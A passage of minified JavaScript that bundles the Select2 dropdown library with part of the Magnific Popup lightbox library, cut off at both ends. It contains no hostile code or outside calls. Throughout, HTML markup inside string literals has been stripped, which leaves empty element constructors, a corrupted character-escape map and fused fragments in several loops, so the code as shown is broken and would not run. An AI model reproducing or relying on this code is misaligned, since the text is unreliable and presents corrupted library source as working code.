e=u.fn.select2.amd;var t,n,i,h,s,o,f,g,m,v,y,_,r,a,b;function w(e,t){return r.call(e,t)}function l(e,t){var n,i,r,s,o,a,l,c,u,d,p,h=t&&t.split("/"),f=y.map,g=f&&f["*"]||{};if(e){for(o=(e=e.split("/")).length-1,y.nodeIdCompat&&b.test(e[o])&&(e[o]=e[o].replace(b,"")),"."===e[0].charAt(0)&&h&&(e=h.slice(0,h.length-1).concat(e)),u=0;u":">",'"':""","'":"'","/":"/"};return"string"!=typeof e?e:String(e).replace(/[&<>"'\/\\]/g,function(e){return t[e]})},r.__cache={};var n=0;return r.GetUniqueElementId=function(e){var t=e.getAttribute("data-select2-id");return null!=t||(t=e.id?"select2-data-"+e.id:"select2-data-"+(++n).toString()+"-"+r.generateChars(4),e.setAttribute("data-select2-id",t)),t},r.StoreData=function(e,t,n){var i=r.GetUniqueElementId(e);r.__cache[i]||(r.__cache[i]={}),r.__cache[i][t]=n},r.GetData=function(e,t){var n=r.GetUniqueElementId(e);return t?r.__cache[n]&&null!=r.__cache[n][t]?r.__cache[n][t]:s(e).data(t):r.__cache[n]},r.RemoveData=function(e){var t=r.GetUniqueElementId(e);null!=r.__cache[t]&&delete r.__cache[t],e.removeAttribute("data-select2-id")},r.copyNonInternalCssClasses=function(e,t){var n=e.getAttribute("class").trim().split(/\s+/);n=n.filter(function(e){return 0===e.indexOf("select2-")});var i=t.getAttribute("class").trim().split(/\s+/);i=i.filter(function(e){return 0!==e.indexOf("select2-")});var r=n.concat(i);e.setAttribute("class",r.join(" "))},r}),e.define("select2/results",["jquery","./utils"],function(h,f){function i(e,t,n){this.$element=e,this.data=n,this.options=t,i.__super__.constructor.call(this)}return f.Extend(i,f.Observable),i.prototype.render=function(){var e=h('
    ');return this.options.get("multiple")&&e.attr("aria-multiselectable","true"),this.$results=e},i.prototype.clear=function(){this.$results.empty()},i.prototype.displayMessage=function(e){var t=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var n=h(''),i=this.options.get("translations").get(e.message);n.append(t(i(e.args))),n[0].className+=" select2-results__message",this.$results.append(n)},i.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},i.prototype.append=function(e){this.hideLoading();var t=[];if(null!=e.results&&0!==e.results.length){e.results=this.sort(e.results);for(var n=0;n",{class:"select2-results__options select2-results__options--nested"});p.append(l),o.append(a),o.append(p)}else this.template(e,t);return f.StoreData(t,"data",e),t},i.prototype.bind=function(t,e){var l=this,n=t.id+"-results";this.$results.attr("id",n),t.on("results:all",function(e){l.clear(),l.append(e.data),t.isOpen()&&(l.setClasses(),l.highlightFirstItem())}),t.on("results:append",function(e){l.append(e.data),t.isOpen()&&l.setClasses()}),t.on("query",function(e){l.hideMessages(),l.showLoading(e)}),t.on("select",function(){t.isOpen()&&(l.setClasses(),l.options.get("scrollAfterSelect")&&l.highlightFirstItem())}),t.on("unselect",function(){t.isOpen()&&(l.setClasses(),l.options.get("scrollAfterSelect")&&l.highlightFirstItem())}),t.on("open",function(){l.$results.attr("aria-expanded","true"),l.$results.attr("aria-hidden","false"),l.setClasses(),l.ensureHighlightVisible()}),t.on("close",function(){l.$results.attr("aria-expanded","false"),l.$results.attr("aria-hidden","true"),l.$results.removeAttr("aria-activedescendant")}),t.on("results:toggle",function(){var e=l.getHighlightedResults();0!==e.length&&e.trigger("mouseup")}),t.on("results:select",function(){var e=l.getHighlightedResults();if(0!==e.length){var t=f.GetData(e[0],"data");e.hasClass("select2-results__option--selected")?l.trigger("close",{}):l.trigger("select",{data:t})}}),t.on("results:previous",function(){var e=l.getHighlightedResults(),t=l.$results.find(".select2-results__option--selectable"),n=t.index(e);if(!(n<=0)){var i=n-1;0===e.length&&(i=0);var r=t.eq(i);r.trigger("mouseenter");var s=l.$results.offset().top,o=r.offset().top,a=l.$results.scrollTop()+(o-s);0===i?l.$results.scrollTop(0):o-s<0&&l.$results.scrollTop(a)}}),t.on("results:next",function(){var e=l.getHighlightedResults(),t=l.$results.find(".select2-results__option--selectable"),n=t.index(e)+1;if(!(n>=t.length)){var i=t.eq(n);i.trigger("mouseenter");var r=l.$results.offset().top+l.$results.outerHeight(!1),s=i.offset().top+i.outerHeight(!1),o=l.$results.scrollTop()+s-r;0===n?l.$results.scrollTop(0):rthis.$results.outerHeight()||s<0)&&this.$results.scrollTop(r)}},i.prototype.template=function(e,t){var n=this.options.get("templateResult"),i=this.options.get("escapeMarkup"),r=n(e,t);null==r?t.style.display="none":"string"==typeof r?t.innerHTML=i(r):h(t).append(r)},i}),e.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),e.define("select2/selection/base",["jquery","../utils","../keys"],function(n,i,r){function s(e,t){this.$element=e,this.options=t,s.__super__.constructor.call(this)}return i.Extend(s,i.Observable),s.prototype.render=function(){var e=n('');return this._tabindex=0,null!=i.GetData(this.$element[0],"old-tabindex")?this._tabindex=i.GetData(this.$element[0],"old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),e.attr("title",this.$element.attr("title")),e.attr("tabindex",this._tabindex),e.attr("aria-disabled","false"),this.$selection=e},s.prototype.bind=function(e,t){var n=this,i=e.id+"-results";this.container=e,this.$selection.on("focus",function(e){n.trigger("focus",e)}),this.$selection.on("blur",function(e){n._handleBlur(e)}),this.$selection.on("keydown",function(e){n.trigger("keypress",e),e.which===r.SPACE&&e.preventDefault()}),e.on("results:focus",function(e){n.$selection.attr("aria-activedescendant",e.data._resultId)}),e.on("selection:update",function(e){n.update(e.data)}),e.on("open",function(){n.$selection.attr("aria-expanded","true"),n.$selection.attr("aria-owns",i),n._attachCloseHandler(e)}),e.on("close",function(){n.$selection.attr("aria-expanded","false"),n.$selection.removeAttr("aria-activedescendant"),n.$selection.removeAttr("aria-owns"),n.$selection.trigger("focus"),n._detachCloseHandler(e)}),e.on("enable",function(){n.$selection.attr("tabindex",n._tabindex),n.$selection.attr("aria-disabled","false")}),e.on("disable",function(){n.$selection.attr("tabindex","-1"),n.$selection.attr("aria-disabled","true")})},s.prototype._handleBlur=function(e){var t=this;window.setTimeout(function(){document.activeElement==t.$selection[0]||n.contains(t.$selection[0],document.activeElement)||t.trigger("blur",e)},1)},s.prototype._attachCloseHandler=function(e){n(document.body).on("mousedown.select2."+e.id,function(e){var t=n(e.target).closest(".select2");n(".select2.select2-container--open").each(function(){this!=t[0]&&i.GetData(this,"element").select2("close")})})},s.prototype._detachCloseHandler=function(e){n(document.body).off("mousedown.select2."+e.id)},s.prototype.position=function(e,t){t.find(".selection").append(e)},s.prototype.destroy=function(){this._detachCloseHandler(this.container)},s.prototype.update=function(e){throw new Error("The `update` method must be defined in child classes.")},s.prototype.isEnabled=function(){return!this.isDisabled()},s.prototype.isDisabled=function(){return this.options.get("disabled")},s}),e.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(e,t,n,i){function r(){r.__super__.constructor.apply(this,arguments)}return n.Extend(r,t),r.prototype.render=function(){var e=r.__super__.render.call(this);return e[0].classList.add("select2-selection--single"),e.html(''),e},r.prototype.bind=function(t,e){var n=this;r.__super__.bind.apply(this,arguments);var i=t.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",i).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",i),this.$selection.on("mousedown",function(e){1===e.which&&n.trigger("toggle",{originalEvent:e})}),this.$selection.on("focus",function(e){}),this.$selection.on("blur",function(e){}),t.on("focus",function(e){t.isOpen()||n.$selection.trigger("focus")})},r.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},r.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},r.prototype.selectionContainer=function(){return e("")},r.prototype.update=function(e){if(0!==e.length){var t=e[0],n=this.$selection.find(".select2-selection__rendered"),i=this.display(t,n);n.empty().append(i);var r=t.title||t.text;r?n.attr("title",r):n.removeAttr("title")}else this.clear()},r}),e.define("select2/selection/multiple",["jquery","./base","../utils"],function(r,e,d){function s(e,t){s.__super__.constructor.apply(this,arguments)}return d.Extend(s,e),s.prototype.render=function(){var e=s.__super__.render.call(this);return e[0].classList.add("select2-selection--multiple"),e.html('
      '),e},s.prototype.bind=function(e,t){var i=this;s.__super__.bind.apply(this,arguments);var n=e.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",n),this.$selection.on("click",function(e){i.trigger("toggle",{originalEvent:e})}),this.$selection.on("click",".select2-selection__choice__remove",function(e){if(!i.isDisabled()){var t=r(this).parent(),n=d.GetData(t[0],"data");i.trigger("unselect",{originalEvent:e,data:n})}}),this.$selection.on("keydown",".select2-selection__choice__remove",function(e){i.isDisabled()||e.stopPropagation()})},s.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},s.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},s.prototype.selectionContainer=function(){return r('
    • ')},s.prototype.update=function(e){if(this.clear(),0!==e.length){for(var t=[],n=this.$selection.find(".select2-selection__rendered").attr("id")+"-choice-",i=0;i');r.attr("title",i()),r.attr("aria-label",i()),r.attr("aria-describedby",n),a.StoreData(r[0],"data",t),this.$selection.prepend(r)}},e}),e.define("select2/selection/search",["jquery","../utils","../keys"],function(i,l,c){function e(e,t,n){e.call(this,t,n)}return e.prototype.render=function(e){var t=i('');this.$searchContainer=t,this.$search=t.find("input"),this.$search.prop("autocomplete",this.options.get("autocomplete"));var n=e.call(this);return this._transferTabIndex(),n.append(this.$searchContainer),n},e.prototype.bind=function(e,t,n){var i=this,r=t.id+"-results",s=t.id+"-container";e.call(this,t,n),i.$search.attr("aria-describedby",s),t.on("open",function(){i.$search.attr("aria-controls",r),i.$search.trigger("focus")}),t.on("close",function(){i.$search.val(""),i.resizeSearch(),i.$search.removeAttr("aria-controls"),i.$search.removeAttr("aria-activedescendant"),i.$search.trigger("focus")}),t.on("enable",function(){i.$search.prop("disabled",!1),i._transferTabIndex()}),t.on("disable",function(){i.$search.prop("disabled",!0)}),t.on("focus",function(e){i.$search.trigger("focus")}),t.on("results:focus",function(e){e.data._resultId?i.$search.attr("aria-activedescendant",e.data._resultId):i.$search.removeAttr("aria-activedescendant")}),this.$selection.on("focusin",".select2-search--inline",function(e){i.trigger("focus",e)}),this.$selection.on("focusout",".select2-search--inline",function(e){i._handleBlur(e)}),this.$selection.on("keydown",".select2-search--inline",function(e){if(e.stopPropagation(),i.trigger("keypress",e),i._keyUpPrevented=e.isDefaultPrevented(),e.which===c.BACKSPACE&&""===i.$search.val()){var t=i.$selection.find(".select2-selection__choice").last();if(0this.maximumInputLength?this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),e.define("select2/data/maximumSelectionLength",[],function(){function e(e,t,n){this.maximumSelectionLength=n.get("maximumSelectionLength"),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("select",function(){i._checkIfMaximumSelected()})},e.prototype.query=function(e,t,n){var i=this;this._checkIfMaximumSelected(function(){e.call(i,t,n)})},e.prototype._checkIfMaximumSelected=function(e,n){var i=this;this.current(function(e){var t=null!=e?e.length:0;0=i.maximumSelectionLength?i.trigger("results:message",{message:"maximumSelected",args:{maximum:i.maximumSelectionLength}}):n&&n()})},e}),e.define("select2/dropdown",["jquery","./utils"],function(t,e){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=t('');return e.attr("dir",this.options.get("dir")),this.$dropdown=e},n.prototype.bind=function(){},n.prototype.position=function(e,t){},n.prototype.destroy=function(){this.$dropdown.remove()},n}),e.define("select2/dropdown/search",["jquery"],function(s){function e(){}return e.prototype.render=function(e){var t=e.call(this),n=s('');return this.$searchContainer=n,this.$search=n.find("input"),this.$search.prop("autocomplete",this.options.get("autocomplete")),t.prepend(n),t},e.prototype.bind=function(e,t,n){var i=this,r=t.id+"-results";e.call(this,t,n),this.$search.on("keydown",function(e){i.trigger("keypress",e),i._keyUpPrevented=e.isDefaultPrevented()}),this.$search.on("input",function(e){s(this).off("keyup")}),this.$search.on("keyup input",function(e){i.handleSearch(e)}),t.on("open",function(){i.$search.attr("tabindex",0),i.$search.attr("aria-controls",r),i.$search.trigger("focus"),window.setTimeout(function(){i.$search.trigger("focus")},0)}),t.on("close",function(){i.$search.attr("tabindex",-1),i.$search.removeAttr("aria-controls"),i.$search.removeAttr("aria-activedescendant"),i.$search.val(""),i.$search.trigger("blur")}),t.on("focus",function(){t.isOpen()||i.$search.trigger("focus")}),t.on("results:all",function(e){null!=e.query.term&&""!==e.query.term||(i.showSearch(e)?i.$searchContainer[0].classList.remove("select2-search--hide"):i.$searchContainer[0].classList.add("select2-search--hide"))}),t.on("results:focus",function(e){e.data._resultId?i.$search.attr("aria-activedescendant",e.data._resultId):i.$search.removeAttr("aria-activedescendant")})},e.prototype.handleSearch=function(e){if(!this._keyUpPrevented){var t=this.$search.val();this.trigger("query",{term:t})}this._keyUpPrevented=!1},e.prototype.showSearch=function(e,t){return!0},e}),e.define("select2/dropdown/hidePlaceholder",[],function(){function e(e,t,n,i){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n,i)}return e.prototype.append=function(e,t){t.results=this.removePlaceholder(t.results),e.call(this,t)},e.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},e.prototype.removePlaceholder=function(e,t){for(var n=t.slice(0),i=t.length-1;0<=i;i--){var r=t[i];this.placeholder.id===r.id&&n.splice(i,1)}return n},e}),e.define("select2/dropdown/infiniteScroll",["jquery"],function(n){function e(e,t,n,i){this.lastParams={},e.call(this,t,n,i),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return e.prototype.append=function(e,t){this.$loadingMore.remove(),this.loading=!1,e.call(this,t),this.showLoadingMore(t)&&(this.$results.append(this.$loadingMore),this.loadMoreIfNeeded())},e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("query",function(e){i.lastParams=e,i.loading=!0}),t.on("query:append",function(e){i.lastParams=e,i.loading=!0}),this.$results.on("scroll",this.loadMoreIfNeeded.bind(this))},e.prototype.loadMoreIfNeeded=function(){var e=n.contains(document.documentElement,this.$loadingMore[0]);if(!this.loading&&e){var t=this.$results.offset().top+this.$results.outerHeight(!1);this.$loadingMore.offset().top+this.$loadingMore.outerHeight(!1)<=t+50&&this.loadMore()}},e.prototype.loadMore=function(){this.loading=!0;var e=n.extend({},{page:1},this.lastParams);e.page++,this.trigger("query:append",e)},e.prototype.showLoadingMore=function(e,t){return t.pagination&&t.pagination.more},e.prototype.createLoadingMore=function(){var e=n('
    • '),t=this.options.get("translations").get("loadingMore");return e.html(t(this.lastParams)),e},e}),e.define("select2/dropdown/attachBody",["jquery","../utils"],function(f,a){function e(e,t,n){this.$dropdownParent=f(n.get("dropdownParent")||document.body),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("open",function(){i._showDropdown(),i._attachPositioningHandler(t),i._bindContainerResultHandlers(t)}),t.on("close",function(){i._hideDropdown(),i._detachPositioningHandler(t)}),this.$dropdownContainer.on("mousedown",function(e){e.stopPropagation()})},e.prototype.destroy=function(e){e.call(this),this.$dropdownContainer.remove()},e.prototype.position=function(e,t,n){t.attr("class",n.attr("class")),t[0].classList.remove("select2"),t[0].classList.add("select2-container--open"),t.css({position:"absolute",top:-999999}),this.$container=n},e.prototype.render=function(e){var t=f(""),n=e.call(this);return t.append(n),this.$dropdownContainer=t},e.prototype._hideDropdown=function(e){this.$dropdownContainer.detach()},e.prototype._bindContainerResultHandlers=function(e,t){if(!this._containerResultsHandlersBound){var n=this;t.on("results:all",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("results:append",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("results:message",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("select",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("unselect",function(){n._positionDropdown(),n._resizeDropdown()}),this._containerResultsHandlersBound=!0}},e.prototype._attachPositioningHandler=function(e,t){var n=this,i="scroll.select2."+t.id,r="resize.select2."+t.id,s="orientationchange.select2."+t.id,o=this.$container.parents().filter(a.hasScroll);o.each(function(){a.StoreData(this,"select2-scroll-position",{x:f(this).scrollLeft(),y:f(this).scrollTop()})}),o.on(i,function(e){var t=a.GetData(this,"select2-scroll-position");f(this).scrollTop(t.y)}),f(window).on(i+" "+r+" "+s,function(e){n._positionDropdown(),n._resizeDropdown()})},e.prototype._detachPositioningHandler=function(e,t){var n="scroll.select2."+t.id,i="resize.select2."+t.id,r="orientationchange.select2."+t.id;this.$container.parents().filter(a.hasScroll).off(n),f(window).off(n+" "+i+" "+r)},e.prototype._positionDropdown=function(){var e=f(window),t=this.$dropdown[0].classList.contains("select2-dropdown--above"),n=this.$dropdown[0].classList.contains("select2-dropdown--below"),i=null,r=this.$container.offset();r.bottom=r.top+this.$container.outerHeight(!1);var s={height:this.$container.outerHeight(!1)};s.top=r.top,s.bottom=r.top+s.height;var o=this.$dropdown.outerHeight(!1),a=e.scrollTop(),l=e.scrollTop()+e.height(),c=ar.bottom+o,d={left:r.left,top:s.bottom},p=this.$dropdownParent;"static"===p.css("position")&&(p=p.offsetParent());var h={top:0,left:0};(f.contains(document.body,p[0])||p[0].isConnected)&&(h=p.offset()),d.top-=h.top,d.left-=h.left,t||n||(i="below"),u||!c||t?!c&&u&&t&&(i="below"):i="above",("above"==i||t&&"below"!==i)&&(d.top=s.top-h.top-o),null!=i&&(this.$dropdown[0].classList.remove("select2-dropdown--below"),this.$dropdown[0].classList.remove("select2-dropdown--above"),this.$dropdown[0].classList.add("select2-dropdown--"+i),this.$container[0].classList.remove("select2-container--below"),this.$container[0].classList.remove("select2-container--above"),this.$container[0].classList.add("select2-container--"+i)),this.$dropdownContainer.css(d)},e.prototype._resizeDropdown=function(){var e={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(e.minWidth=e.width,e.position="relative",e.width="auto"),this.$dropdown.css(e)},e.prototype._showDropdown=function(e){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},e}),e.define("select2/dropdown/minimumResultsForSearch",[],function(){function e(e,t,n,i){this.minimumResultsForSearch=n.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),e.call(this,t,n,i)}return e.prototype.showSearch=function(e,t){return!(function e(t){for(var n=0,i=0;i');return e.attr("dir",this.options.get("dir")),this.$container=e,this.$container[0].classList.add("select2-container--"+this.options.get("theme")),u.StoreData(e[0],"element",this.$element),e},d}),e.define("jquery-mousewheel",["jquery"],function(e){return e}),e.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults","./select2/utils"],function(r,e,s,t,o){if(null==r.fn.select2){var a=["open","close","destroy"];r.fn.select2=function(t){if("object"==typeof(t=t||{}))return this.each(function(){var e=r.extend(!0,{},t);new s(r(this),e)}),this;if("string"!=typeof t)throw new Error("Invalid arguments for Select2: "+t);var n,i=Array.prototype.slice.call(arguments,1);return this.each(function(){var e=o.GetData(this,"select2");null==e&&window.console&&console.error&&console.error("The select2('"+t+"') method was called on an element that is not using Select2."),n=e[t].apply(e,i)}),-1(a||v.height())},_setFocus:function(){(b.st.focus?b.content.find(b.st.focus).eq(0):b.wrap).focus()},_onFocusIn:function(c){return c.target===b.wrap[0]||a.contains(b.wrap[0],c.target)?void 0:(b._setFocus(),!1)},_parseMarkup:function(b,c,d){var e;d.data&&(c=a.extend(d.data,c)),y(l,[b,c,d]),a.each(c,function(c,d){if(void 0===d||d===!1)return!0;if(e=c.split("_"),e.length>1){var f=b.find(p+"-"+e[0]);if(f.length>0){var g=e[1];"replaceWith"===g?f[0]!==d[0]&&f.replaceWith(d):"img"===g?f.is("img")?f.attr("src",d):f.replaceWith(a("").attr("src",d).attr("class",f.attr("class"))):f.attr(e[1],d)}}else b.find(p+"-"+c).html(d)})},_getScrollbarSize:function(){if(void 0===b.scrollbarSize){var a=document.createElement("div");a.style.cssText="width: 99px; height: 99px; overflow: scroll; position: absolute; top: -9999px;",document.body.appendChild(a),b.scrollbarSize=a.offsetWidth-a.clientWidth,document.body.removeChild(a)}return b.scrollbarSize}},a.magnificPopup={instance:null,proto:t.prototype,modules:[],open:function(b,c){return A(),b=b?a.extend(!0,{},b):{},b.isObj=!0,b.index=c||0,this.instance.open(b)},close:function(){return a.magnificPopup.instance&&a.magnificPopup.instance.close()},registerModule:function(b,c){c.options&&(a.magnificPopup.defaults[b]=c.options),a.extend(this.proto,c.proto),this.modules.push(b)},defaults:{disableOn:0,key:null,midClick:!1,mainClass:"",preloader:!0,focus:"",closeOnContentClick:!1,closeOnBgClick:!0,closeBtnInside:!0,showCloseBtn:!0,enableEscapeKey:!0,modal:!1,alignTop:!1,removalDelay:0,prependTo:null,fixedContentPos:"auto",fixedBgPos:"auto",overflowY:"auto",closeMarkup:'',tClose:"Close (Esc)",tLoading:"Loading...",autoFocusLast:!0}},a.fn.magnificPopup=function(c){A();var d=a(this);if("string"==typeof c)if("open"===c){var e,f=u?d.data("magnificPopup"):d[0].magnificPopup,g=parseInt(arguments[1],10)||0;f.items?e=f.items[g]:(e=d,f.delegate&&(e=e.find(f.delegate)),e=e.eq(g)),b._openClick({mfpEl:e},d,f)}else b.isOpen&&b[c].apply(b,Array.prototype.slice.call(arguments,1));else c=a.extend(!0,{},c),u?d.data("magnificPopup",c):d[0].magnificPopup=c,b.addGroup(d,c);return d};var C,D,E,F="inline",G=function(){E&&(D.after(E.addClass(C)).detach(),E=null)};a.magnificPopup.registerModule(F,{options:{hiddenClass:"hide",markup:"",tNotFound:"Content not found"},proto:{initInline:function(){b.types.push(F),w(h+"."+F,function(){G()})},getInline:function(c,d){if(G(),c.src){var e=b.st.inline,f=a(c.src);if(f.length){var g=f[0].parentNode;g&&g.tagName&&(D||(C=e.hiddenClass,D=x(C),C="mfp-"+C),E=f.after(D).detach().removeClass(C)),b.updateStatus("ready")}else b.updateStatus("error",e.tNotFound),f=a("
      ");return c.inlineElement=f,f}return b.updateStatus("ready"),b._parseMarkup(d,{},c),d}}});var H,I="ajax",J=function(){H&&a(document.body).removeClass(H)},K=function(){J(),b.req&&b.req.abort()};a.magnificPopup.registerModule(I,{options:{settings:null,cursor:"mfp-ajax-cur",tError:'The content could not be loaded.'},proto:{initAjax:function(){b.types.push(I),H=b.st.ajax.cursor,w(h+"."+I,K),w("BeforeChange."+I,K)},getAjax:function(c){H&&a(document.body).addClass(H),b.updateStatus("loading");var d=a.extend({url:c.src,success:function(d,e,f){var g={data:d,xhr:f};y("ParseAjax",g),b.appendContent(a(g.data),I),c.finished=!0,J(),b._setFocus(),setTimeout(function(){b.wrap.addClass(q)},16),b.updateStatus("ready"),y("AjaxContentAdded")},error:function(){J(),c.finished=c.loadError=!0,b.updateStatus("error",b.st.ajax.tError.replace("%url%",c.src))}},b.st.ajax.settings);return b.req=a.ajax(d),""}}});var L,M=function(c){if(c.data&&void 0!==c.data.title)return c.data.title;var d=b.st.image.titleSrc;if(d){if(a.isFunction(d))return d.call(b,c);if(c.el)return c.el.attr(d)||""}return""};a.magnificPopup.registerModule("image",{options:{markup:'
      ',cursor:"mfp-zoom-out-cur",titleSrc:"title",verticalFit:!0,tError:'The image could not be loaded.'},proto:{initImage:function(){var c=b.st.image,d=".image";b.types.push("image"),w(m+d,function(){"image"===b.currItem.type&&c.cursor&&a(document.body).addClass(c.cursor)}),w(h+d,function(){c.cursor&&a(document.body).removeClass(c.cursor),v.off("resize"+p)}),w("Resize"+d,b.resizeImage),b.isLowIE&&w("AfterChange",b.resizeImage)},resizeImage:function(){var a=b.currItem;if(a&&a.img&&b.st.image.verticalFit){var c=0;b.isLowIE&&(c=parseInt(a.img.css("padding-top"),10)+parseInt(a.img.css("padding-bottom"),10)),a.img.css("max-height",b.wH-c)}},_onImageHasSize:function(a){a.img&&(a.hasSize=!0,L&&clearInterval(L),a.isCheckingImgSize=!1,y("ImageHasSize",a),a.imgHidden&&(b.content&&b.content.removeClass("mfp-loading"),a.imgHidden=!1))},findImageSize:function(a){var c=0,d=a.img[0],e=function(f){L&&clearInterval(L),L=setInterval(function(){return d.naturalWidth>0?void b._onImageHasSize(a):(c>200&&clearInterval(L),c++,void(3===c?e(10):40===c?e(50):100===c&&e(500)))},f)};e(1)},getImage:function(c,d){var e=0,f=function(){c&&(c.img[0].complete?(c.img.off(".mfploader"),c===b.currItem&&(b._onImageHasSize(c),b.updateStatus("ready")),c.hasSize=!0,c.loaded=!0,y("ImageLoadComplete")):(e++,200>e?setTimeout(f,100):g()))},g=function(){c&&(c.img.off(".mfploader"),c===b.currItem&&(b._onImageHasSize(c),b.updateStatus("error",h.tError.replace("%url%",c.src))),c.hasSize=!0,c.loaded=!0,c.loadError=!0)},h=b.st.image,i=d.find(".mfp-img");if(i.length){var j=document.createElement("img");j.className="mfp-img",c.el&&c.el.find("img").length&&(j.alt=c.el.find("img").attr("alt")),c.img=a(j).on("load.mfploader",f).on("error.mfploader",g),j.src=c.src,i.is("img")&&(c.img=c.img.clone()),j=c.img[0],j.naturalWidth>0?c.hasSize=!0:j.width||(c.hasSize=!1)}return b._parseMarkup(d,{title:M(c),img_replaceWith:c.img},c),b.resizeImage(),c.hasSize?(L&&clearInterval(L),c.loadError?(d.addClass("mfp-loading"),b.updateStatus("error",h.tError.replace("%url%",c.src))):(d.removeClass("mfp-loading"),b.updateStatus("ready")),d):(b.updateStatus("loading"),c.loading=!0,c.hasSize||(c.imgHidden=!0,d.addClass("mfp-loading"),b.findImageSize(c)),d)}}});var N,O=function(){return void 0===N&&(N=void 0!==document.createElement("p").style.MozTransform),N};a.magnificPopup.registerModule("zoom",{options:{enabled:!1,easing:"ease-in-out",duration:300,opener:function(a){return a.is("img")?a:a.find("img")}},proto:{initZoom:function(){var a,c=b.st.zoom,d=".zoom";if(c.enabled&&b.supportsTransition){var e,f,g=c.duration,j=function(a){var b=a.clone().removeAttr("style").removeAttr("class").addClass("mfp-animated-image"),d="all "+c.duration/1e3+"s "+c.easing,e={position:"fixed",zIndex:9999,left:0,top:0,"-webkit-backface-visibility":"hidden"},f="transition";return e["-webkit-"+f]=e["-moz-"+f]=e["-o-"+f]=e[f]=d,b.css(e),b},k=function(){b.content.css("visibility","visible")};w("BuildControls"+d,function(){if(b._allowZoom()){if(clearTimeout(e),b.content.css("visibility","hidden"),a=b._getItemToZoom(),!a)return void k();f=j(a),f.css(b._getOffset()),b.wrap.append(f),e=setTimeout(function(){f.css(b._getOffset(!0)),e=setTimeout(function(){k(),setTimeout(function(){f.remove(),a=f=null,y("ZoomAnimationEnded")},16)},g)},16)}}),w(i+d,function(){if(b._allowZoom()){if(clearTimeout(e),b.st.removalDelay=g,!a){if(a=b._getItemToZoom(),!a)return;f=j(a)}f.css(b._getOffset(!0)),b.wrap.append(f),b.content.css("visibility","hidden"),setTimeout(function(){f.css(b._getOffset())},16)}}),w(h+d,function(){b._allowZoom()&&(k(),f&&f.remove(),a=null)})}},_allowZoom:function(){return"image"===b.currItem.type},_getItemToZoom:function(){return b.currItem.hasSize?b.currItem.img:!1},_getOffset:function(c){var d;d=c?b.currItem.img:b.st.zoom.opener(b.currItem.el||b.currItem);var e=d.offset(),f=parseInt(d.css("padding-top"),10),g=parseInt(d.css("padding-bottom"),10);e.top-=a(window).scrollTop()-f;var h={width:d.width(),height:(u?d.innerHeight():d[0].offsetHeight)-g-f};return O()?h["-moz-transform"]=h.transform="translate("+e.left+"px,"+e.top+"px)":(h.left=e.left,h.top=e.top),h}}});var P="iframe",Q="//about:blank",R=function(a){if(b.currTemplate[P]){var c=b.currTemplate[P].find("iframe");c.length&&(a||(c[0].src=Q),b.isIE8&&c.css("display",a?"block":"none"))}};a.magnificPopup.registerModule(P,{options:{markup:'
      ',srcAction:"iframe_src",patterns:{youtube:{index:"youtube.com",id:"v=",src:"//www.youtube.com/embed/%id%?autoplay=1"},vimeo:{index:"vimeo.com/",id:"/",src:"//player.vimeo.com/video/%id%?autoplay=1"},gmaps:{index:"//maps.google.",src:"%id%&output=embed"}}},proto:{initIframe:function(){b.types.push(P),w("BeforeChange",function(a,b,c){b!==c&&(b===P?R():c===P&&R(!0))}),w(h+"."+P,function(){R()})},getIframe:function(c,d){var e=c.src,f=b.st.iframe;a.each(f.patterns,function(){return e.indexOf(this.index)>-1?(this.id&&(e="string"==typeof this.id?e.substr(e.lastIndexOf(this.id)+this.id.length,e.length):this.id.call(this,e)),e=this.src.replace("%id%",e),!1):void 0});var g={};return f.srcAction&&(g[f.srcAction]=e),b._parseMarkup(d,g,c),b.updateStatus("ready"),d}}});var S=function(a){var c=b.items.length;return a>c-1?a-c:0>a?c+a:a},T=function(a,b,c){return a.replace(/%curr%/gi,b+1).replace(/%total%/gi,c)};a.magnificPopup.registerModule("gallery",{options:{enabled:!1,arrowMarkup:'',preload:[0,2],navigateByImgClick:!0,arrows:!0,tPrev:"Previous (Left arrow key)",tNext:"Next (Right arrow key)",tCounter:"%curr% of %total%"},proto:{initGallery:function(){var c=b.st.gallery,e=".mfp-gallery";return b.direction=!0,c&&c.enabled?(f+=" mfp-gallery",w(m+e,function(){c.navigateByImgClick&&b.wrap.on("click"+e,".mfp-img",function(){return b.items.length>1?(b.next(),!1):void 